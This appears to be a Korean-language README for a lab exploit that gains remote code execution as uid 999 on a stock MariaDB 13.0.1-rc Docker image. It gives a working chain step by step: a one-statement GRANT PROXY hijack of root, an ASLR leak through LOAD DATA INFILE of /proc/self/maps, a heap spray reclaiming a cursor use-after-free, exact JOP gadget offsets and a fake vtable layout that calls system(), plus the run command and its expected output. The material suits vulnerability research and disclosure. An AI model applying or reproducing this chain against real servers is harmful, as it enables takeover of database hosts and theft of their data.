
MariaDB 13.0.1-rc RCE 랩 — 기본 Docker 이미지에서 uid 999(mysql)로 system()을 실행하기 위한 권한 상승 + 힙 UAF + JOP 체인. RAPTOR 및 raptor-loop-hunt로 발견됨.
수정되지 않은 순정 MariaDB 13.0.1-rc Docker 이미지에서 uid 999(mysql)로 원격 코드 실행(RCE)을 수행합니다.
두 가지 익스플로잇 변형:
| 변형 | 파일 | 요구 사항 | 비고 |
|---|---|---|---|
| 순수 SQL (권장) | exploit_pure_sql.py | 낮은 권한의 MariaDB 계정 + TCP | 호스트 접근 불필요, docker 불필요, /proc/mem 불필요, root 비밀번호 불필요 |
| 호스트 지원 PoC | exploit.py | Docker 호스트의 root 권한 | /proc/<pid>/mem을 통해 JOP 체인 작성 |
테스트 및 검증 완료: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4회 실행, 각각 새로운 ASLR 베이스 사용).
exploit_pure_sql.py)공격자는 오직 다음만 보유합니다:
lowpriv 사용자) + 해당 비밀번호, 그리고전체 체인은 SQL 문으로 실행됩니다. 호스트 측 프로세스 접근, docker 명령, 사전에 알려진 주소가 필요 없습니다. 모든 런타임 주소는 SQL을 통해 대상 자체에서 알아냅니다:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
남은 유일한 SQL 외 작업은 익스플로잇 이후 정리 작업뿐입니다: (이미 크래시된) 컨테이너를 재시작하고 마커 파일을 표시하는 것 - 익스플로잇의 일부가 아닙니다.
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
필요한 것은 mariadb/mysql 클라이언트와 Python 3뿐입니다. --container는 최종 마커 표시(재시작 + cat)에 사용되며, 다른 방법으로 마커를 검증한다면 생략할 수 있습니다.
출력의 예상 마지막 부분:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA ''는 모든 권한 검사를 우회합니다. 빈 인증 절은 LEX_USER::has_auth()가 false를 반환하게 하여(check_alter_user()를 건너뜀), replace_user_table()은 여전히 빈 비밀번호를 적용합니다 — root의 자격 증명을 대체합니다. SQL 문 하나로, 인증된 모든 사용자가, 모든 릴리스된 MariaDB 버전에서 가능합니다.
/proc/self/maps를 통한 ASLR 무력화LOAD DATA INFILE '/proc/self/maps'는 SQL 내부에서 mariadbd 프로세스의 전체 메모리 레이아웃을 읽어 PIE 베이스와 libc 베이스 주소를 노출합니다. 순정 이미지에서 secure_file_priv = NULL(미설정) 상태로 동작합니다.
sp_cursor_array::get_cursor_by_ref()는 성장 시 my_realloc에 의해 백업 저장소가 재배치되는 Dynamic_array의 내부 포인터를 반환합니다. 커서의 open() 메서드가 추가 커서를 여는 공격자 제어 SQL을 실행하면 배열이 커지고, 이전 저장소가 해제되어 호출자의 캐시된 포인터가 댕글링 상태가 됩니다.
해제된 청크(커서 16개 x 112바이트 = 1792바이트)는 각각 1784바이트인 사용자 변수 복사본 128개의 힙 스프레이로 재점유됩니다(glibc 청크에 정확히 맞음). 스프레이 페이로드는 오프셋 0x20(sp_cursor의 result 멤버)에 제어된 vtable 포인터를 배치하며, 이후 가상 디스패치에 사용됩니다:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
순정 mariadbd 바이너리의 두 JOP 가젯(ROP 없음, 스택 피벗 없음):
| 가젯 | 오프셋 | 명령어 | 용도 |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | 스택 정렬 수정 |
| D1 | PIE+0xe3075b | mov rdi,[rax+0xa8]; call [rax+0xa0] | cmd 포인터 로드, system() 호출 |
가짜 vtable V는 128MiB 버퍼에 존재합니다; 레이아웃:
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
버퍼 주소를 알기 전에 자기 참조 JOP 데이터를 작성해야 하는 닭-달걀 문제는 glibc의 mmap 동작으로 해결됩니다:
/proc/self/maps diff로 주소 확인/proc/self/maps를 다시 읽어 검증; 주소가 이동한 경우 자기 참조를 다시 굽고 쓰기를 재시도(실제로는 한 번의 반복으로 수렴)동일한 체인이지만 JOP 레이아웃이 Docker 호스트에서 /proc/<pid>/mem을 통해 프로세스에 기록되고(root 필요), 페이로드 스크립트는 docker exec로 생성되며, compose 파일의 root 비밀번호로 연결합니다. 역사적 PoC로 유지됩니다; 순수 SQL 변형이 이를 대체합니다.
sql/sp_cursor.{cc,h}에 대한 커밋 0개).dbd60d0ad8d, MDEV-40470)은 개발 브랜치에 있지만 모든 릴리스 버전에는 없습니다(13.0.1부터 10.6.27까지 확인).SET GLOBAL max_allowed_packet을 먼저 올리고 새 연결을 사용합니다).DATA_OFF를 업데이트하세요).| 기존 헬퍼 (exploit.py) | 순수 SQL 대체 |
|---|
docker inspect → PID + 호스트 측 /proc/<pid>/maps | LOAD DATA INFILE '/proc/self/maps' |
JOP 체인 작성을 위한 호스트 측 /proc/<pid>/mem 쓰기 | 할당 시 CONCAT/UNHEX로 레이아웃 내장; SQL 측 maps diff로 주소 획득; mmap 슬롯 재사용으로 자기 참조 유효 |
docker exec ... echo CMD > /tmp/payload_cmd.sh | 명령 문자열이 JOP 레이아웃에 직접 내장 |
mariadb -uroot -plabpass (root 비밀번호) | 낮은 권한 계정에서 GRANT PROXY 권한 상승 |
docker exec ... cat MARKER | 증명 표시에만 사용 |